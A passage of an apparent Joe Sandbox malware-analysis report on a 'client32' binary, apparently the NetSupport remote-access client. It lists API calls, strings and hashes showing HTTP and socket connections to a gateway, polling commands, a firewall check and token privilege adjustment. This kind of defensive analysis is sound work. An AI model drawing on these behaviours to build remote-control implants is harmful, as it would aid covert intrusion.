Part of subcall function 1115F3B5: GetLastError.KERNEL32(00000000,?,11167F76,00000000,?,110B7069), ref: 1115F3DD

GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 110294A5
SetLastError.KERNEL32(00000078), ref: 110294BE
GetProcAddress.KERNEL32(?,InternetConnectA), ref: 110294D1
InternetConnectA.WININET(000000FF,111955E0,00000050,00000000,00000000,00000003,00000000,00000000), ref: 110294EE
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 1102950A
SetLastError.KERNEL32(00000078), ref: 11029523
GetProcAddress.KERNEL32(?,HttpOpenRequestA), ref: 11029549
GetProcAddress.KERNEL32(?,HttpSendRequestA), ref: 1102959D
GetProcAddress.KERNEL32(?,InternetQueryDataAvailable), ref: 11029703
SetLastError.KERNEL32(00000078), ref: 110297D0
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029822
SetLastError.KERNEL32(00000078), ref: 11029839
FreeLibrary.KERNEL32(?), ref: 1102984A

Strings

InternetQueryOptionA, xrefs: 1102934B, 1102939B
InternetErrorDlg, xrefs: 11029640
HttpOpenRequestA, xrefs: 11029543
InternetCloseHandle, xrefs: 110292F9, 1102949F, 11029504, 1102981C
://, xrefs: 11029445
InternetConnectA, xrefs: 110294CB
HttpSendRequestA, xrefs: 11029597
HttpQueryInfoA, xrefs: 110295E3
InternetOpenA, xrefs: 110293D5
GET, xrefs: 11029569
InternetQueryDataAvailable, xrefs: 110296FD
WinInet.dll, xrefs: 1102925D

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$FreeInternetLibrary_free$ConnectHeapLoadOpen
String ID: ://$GET$HttpOpenRequestA$HttpQueryInfoA$HttpSendRequestA$InternetCloseHandle$InternetConnectA$InternetErrorDlg$InternetOpenA$InternetQueryDataAvailable$InternetQueryOptionA$WinInet.dll
API String ID: 3391987931-913974648
Opcode ID: 192155e542d4b551e0340acf25c858db3524cd8e3d2006806a1185ba9a7f8bcd
Instruction ID: 8a892d803199c7046cb733a2a01a4e5fa1610c0a6219e27d09306c56163d799e
Opcode Fuzzy Hash: 192155e542d4b551e0340acf25c858db3524cd8e3d2006806a1185ba9a7f8bcd
Instruction Fuzzy Hash: AA127FB1E002299BDB11CFA9CC88A9EFBF4FF88344F60856AE555F7240EB745940CB61

Function 6859A980 Relevance: 56.4, APIs: 28, Strings: 4, Instructions: 389
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 68595840: inet_ntoa.WSOCK32(00000080,?,00000000,?,68598F91,00000000,00000000,685DB8DA,?,00000080), ref: 68595852

EnterCriticalSection.KERNEL32(685DB898,?,00000000,00000000), ref: 6859AA11
LeaveCriticalSection.KERNEL32(685DB898), ref: 6859AA58
LeaveCriticalSection.KERNEL32(685DB898), ref: 6859AA68
LeaveCriticalSection.KERNEL32(685DB898), ref: 6859AA94
WSAGetLastError.WSOCK32(?,?,?,?,?,00000000,00000000), ref: 6859AB0B
socket.WSOCK32(00000002,00000001,00000000,?,00000000,00000000), ref: 6859AB4E
WSAGetLastError.WSOCK32(00000002,00000001,00000000,?,00000000,00000000), ref: 6859AB5A
#21.WSOCK32(00000000,0000FFFF,00001001,?,00000004,00000002,00000001,00000000,?,00000000,00000000), ref: 6859AB8E
#21.WSOCK32(00000000,0000FFFF,00000080,?,00000004,00000000,0000FFFF,00001001,?,00000004,00000002,00000001,00000000,?,00000000,00000000), ref: 6859ABB1
#21.WSOCK32(00000000,00000006,00000001,?,00000004,00000002,00000001,00000000,?,00000000,00000000), ref: 6859ABE3
bind.WSOCK32(00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6859AC18
WSAGetLastError.WSOCK32(00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6859AC21
closesocket.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6859AC29
htons.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6859AC65
WSASetBlockingHook.WSOCK32(685963A0,00000000,00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6859AC76
WSAGetLastError.WSOCK32(00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6859AC8F
WSAUnhookBlockingHook.WSOCK32(00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6859AC96
closesocket.WSOCK32(00000000,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6859AC9C
WSAGetLastError.WSOCK32(?,?,?,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6859ACFD
WSAUnhookBlockingHook.WSOCK32(?,?,?,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6859AD04
closesocket.WSOCK32(00000000,?,?,?,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6859AD0A
WSAUnhookBlockingHook.WSOCK32(00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6859AD45
EnterCriticalSection.KERNEL32(685DB898,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6859AD4F
InitializeCriticalSection.KERNEL32(-685DCB4A), ref: 6859ADE6

Part of subcall function 68598FB0: _memset.LIBCMT ref: 68598FE4
Part of subcall function 68598FB0: getsockname.WSOCK32(?,?,00000010,?,02D32E90,?), ref: 68599005

getsockname.WSOCK32(00000000,?,?), ref: 6859AE4B
LeaveCriticalSection.KERNEL32(685DB898), ref: 6859AE60
GetTickCount.KERNEL32 ref: 6859AE6C
InterlockedExchange.KERNEL32(?,00000000), ref: 6859AE7A

Strings

*TcpNoDelay, xrefs: 6859ABB8
Cannot connect to gateway %s, error %d, xrefs: 6859ACA6
Cannot connect to gateway %s via web proxy, error %d, xrefs: 6859AD14
Connect error to %s using hijacked socket, error %d, xrefs: 6859AB17

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$ErrorLast$BlockingHookLeave$Unhookclosesocket$Entergetsockname$CountExchangeInitializeInterlockedTick_memsetbindhtonsinet_ntoasocket
String ID: *TcpNoDelay$Cannot connect to gateway %s via web proxy, error %d$Cannot connect to gateway %s, error %d$Connect error to %s using hijacked socket, error %d
API String ID: 692187944-2561115898
Opcode ID: e5e2543116c1c178c8091a40c7a64bb7115ccdae992da7a805c5cec0014acb38
Instruction ID: 19e6a8f323f29c85e24850b2e4ca5934d0a94c2982567c8896835727aa1d9333
Opcode Fuzzy Hash: e5e2543116c1c178c8091a40c7a64bb7115ccdae992da7a805c5cec0014acb38
Instruction Fuzzy Hash: D5E19375A402149FDF11DF68D890BEDB3B5EF88315F8041AAED19A7280DB709E84CFA5

Function 685991F0 Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 97sleepnetworkCOMMON

Download Yara Rule

APIs

#16.WSOCK32(00000000,?,a3Zh,00000000,00000000,?,00000007), ref: 6859924C
WSAGetLastError.WSOCK32(00000000,?,a3Zh,00000000,00000000,?,00000007), ref: 6859925B
GetTickCount.KERNEL32 ref: 68599274
Sleep.KERNEL32(00000001,00000000,?,a3Zh,00000000,00000000,?,00000007), ref: 685992A8
GetTickCount.KERNEL32 ref: 685992B0
Sleep.KERNEL32(00000014), ref: 685992BC

Strings

ReadSocket - Error %d reading response, xrefs: 685992F7
a3Zh, xrefs: 68599244
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 68599226
ReadSocket - Connection has been closed by peer, xrefs: 685992E0
*RecvTimeout, xrefs: 6859927B
hbuf->buflen - hbuf->datalen >= min_bytes_to_read, xrefs: 6859922B
ReadSocket - Would block, xrefs: 6859928A

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: CountSleepTick$ErrorLast
String ID: *RecvTimeout$ReadSocket - Connection has been closed by peer$ReadSocket - Error %d reading response$ReadSocket - Would block$a3Zh$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c$hbuf->buflen - hbuf->datalen >= min_bytes_to_read
API String ID: 2495545493-1096684884
Opcode ID: b5925360083a57d19c58249876366d12ba0b5fca48a5ea9abd192e68da549f5a
Instruction ID: edc879204cff4bdf9013b3b646520309aa2927875271b2d62d72d76eb8c5f498
Opcode Fuzzy Hash: b5925360083a57d19c58249876366d12ba0b5fca48a5ea9abd192e68da549f5a
Instruction Fuzzy Hash: 2031A23AE80248EFDF10DFBCE988B9EB7F4EB85315F8044A9E908D7140E73199508B91

Function 685A3130 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 178timethreadCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,?,97A2354D,D2711BC8,97A234B3,FFFFFFFF,00000000), ref: 685A31E2
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00002000,685CECB0), ref: 685A31EC
GetSystemTime.KERNEL32(?,D2711BC8,97A234B3,FFFFFFFF,00000000), ref: 685A322A
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00002000,685CECB0), ref: 685A3234
EnterCriticalSection.KERNEL32(685DB898,?,97A2354D), ref: 685A32BE
LeaveCriticalSection.KERNEL32(685DB898,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00002000), ref: 685A32D3
GetCurrentThreadId.KERNEL32 ref: 685A334D

Part of subcall function 685ABA20: __strdup.LIBCMT ref: 685ABA3A

Part of subcall function 685ABB00: _free.LIBCMT ref: 685ABB2D

Strings

ACK=1, xrefs: 685A3312
CMD=POLL, xrefs: 685A32F4
INFO=1, xrefs: 685A3304
1.1, xrefs: 685A3240, 685A324A

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: Time$System$CriticalFileSection$CurrentEnterLeaveThread__strdup_free
String ID: 1.1$ACK=1$CMD=POLL$INFO=1
API String ID: 1510130979-3441452530
Opcode ID: 45c4023052b712fd4c58dc05647e5a7416511ec50250fa07931a60422d5bb665
Instruction ID: 49227012a016f7c2ab4a82d9b13a2c96863fc9b37b58f8714e9526c00b33a5b1
Opcode Fuzzy Hash: 45c4023052b712fd4c58dc05647e5a7416511ec50250fa07931a60422d5bb665
Instruction Fuzzy Hash: B4614176904208EFCF14DFA4D884EEEB7B9FF49314F84451EE816A7240EB34A944CBA5

Function 11095C90 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 58comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 11095CA4
CLSIDFromProgID.COMBASE(HNetCfg.FwMgr,?,?,?,?,?,?,?,11134B2B), ref: 11095CBE
CoCreateInstance.OLE32(?,00000000,00000001,111BBFCC,?,?,?,?,?,?,?,11134B2B), ref: 11095CDB
CoUninitialize.OLE32(?,?,?,?,?,?,11134B2B), ref: 11095CF9

Strings

ICF Present: , xrefs: 11095D00
HNetCfg.FwMgr, xrefs: 11095CB9

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceProgUninitialize
String ID: HNetCfg.FwMgr$ICF Present:
API String ID: 3222248624-258972079
Opcode ID: a191ec028fc1ebe43799a3fbc6b5824768ffae445ee9dba88daea3a8dfe179cf
Instruction ID: 667ad4978e11a958ff0dee1adaae51f217c5ac115a2c6bb433f56a1af31716a4
Opcode Fuzzy Hash: a191ec028fc1ebe43799a3fbc6b5824768ffae445ee9dba88daea3a8dfe179cf
Instruction Fuzzy Hash: E011C2B0F0112D5FDB01DBE68C94AAFFB69AF04704F108569EA09D7244E722EE40C7E2

Function 11072460 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11072590
_memset.LIBCMT ref: 11072709

Strings

serial_no, xrefs: 1107254C
_License, xrefs: 11072551
NBCTL32.DLL, xrefs: 11072645

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: NBCTL32.DLL$_License$serial_no
API String ID: 2102423945-35127696
Opcode ID: 73eab7b1c8d7b6e70f1aa5dd4ab6e6844c03489425f04d6019e1d2487717588b
Instruction ID: d0e0b9ecbde65a2366102896099e84d523940e720fd040d90542ba2888ebc4af
Opcode Fuzzy Hash: 73eab7b1c8d7b6e70f1aa5dd4ab6e6844c03489425f04d6019e1d2487717588b
Instruction Fuzzy Hash: CAB1A075E00219AFEB04CF98DC91FAEB7F5FF88304F148169E9599B295DB70A901CB90

Function 11030B10 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 40COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(1102DF30,?,00000000), ref: 11030B34

Strings

NSMWClass, xrefs: 11030B3F
Client32, xrefs: 11030B14
NSMWClass, xrefs: 11030B53

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: Client32$NSMWClass$NSMWClass
API String ID: 3192549508-611217420
Opcode ID: 58515847b78de4ae681c1499d6e223a9096c2b5aadf525ec481539d2362be3c4
Instruction ID: 7da52f349ca3cb7d8c11f8ab613c71e219a3e37bd0be996a8dda4c31b38bef83
Opcode Fuzzy Hash: 58515847b78de4ae681c1499d6e223a9096c2b5aadf525ec481539d2362be3c4
Instruction Fuzzy Hash: 9901D674E0132EDFD346DFE4C8859AAFBB5EB8571CB148479D82887308FA71A904CB91

Function 1109DC20 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,74DEF550,?,00000000), ref: 1109DC58
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 1109DC74
AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,004815C8,004815C8,004815C8,004815C8,004815C8,004815C8,004815C8,111EAB1C,?,00000001,00000001), ref: 1109DCA0
EqualSid.ADVAPI32(?,004815C8,?,00000001,00000001), ref: 1109DCB3

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InformationToken$AllocateEqualInitialize
String ID:
API String ID: 1878589025-0
Opcode ID: e1ef01c0b2a593c632c16c9fc194400e1d79a88dd1ec3329169a1e99986687c3
Instruction ID: 4e420e32a86b216a8c4820a584475d55105e440134d2483d273bcb85c3c049ac
Opcode Fuzzy Hash: e1ef01c0b2a593c632c16c9fc194400e1d79a88dd1ec3329169a1e99986687c3
Instruction Fuzzy Hash: A1214F71B4122EAFEB00DBA5DC91FBFF7B9EF44744F004069E915D7280E6B1A9018791

Function 1109C750 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(000F01FF,?,1102FAC3,00000000,00000000,00080000,DC70C1FE,00080000,00000000,00000000), ref: 1109C77D
OpenProcessToken.ADVAPI32(00000000), ref: 1109C784
LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109C795
AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109C7B9

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 2349140579-0
Opcode ID: fed7014fb2c6176395dd00bdbf9b6dacad7388df0a8d1a1889bfa0ec87585418
Instruction ID: 79ef21a039d637d1c16a726e2430049afe469fda3395ab205b54f21d4569a753
Opcode Fuzzy Hash: fed7014fb2c6176395dd00bdbf9b6dacad7388df0a8d1a1889bfa0ec87585418
Instruction Fuzzy Hash: 7B014071600219AFD710DF94CC89BAEF7BCEB44705F108469EA05D7240D7B06904CB61

Function 1109C7E0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,00000000,?,?,00000000,00000000,00000000,1109DB20,00000244,cant create events), ref: 1109C7FC
CloseHandle.KERNEL32(?,00000000,1109DB20,00000244,cant create events), ref: 1109C805

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
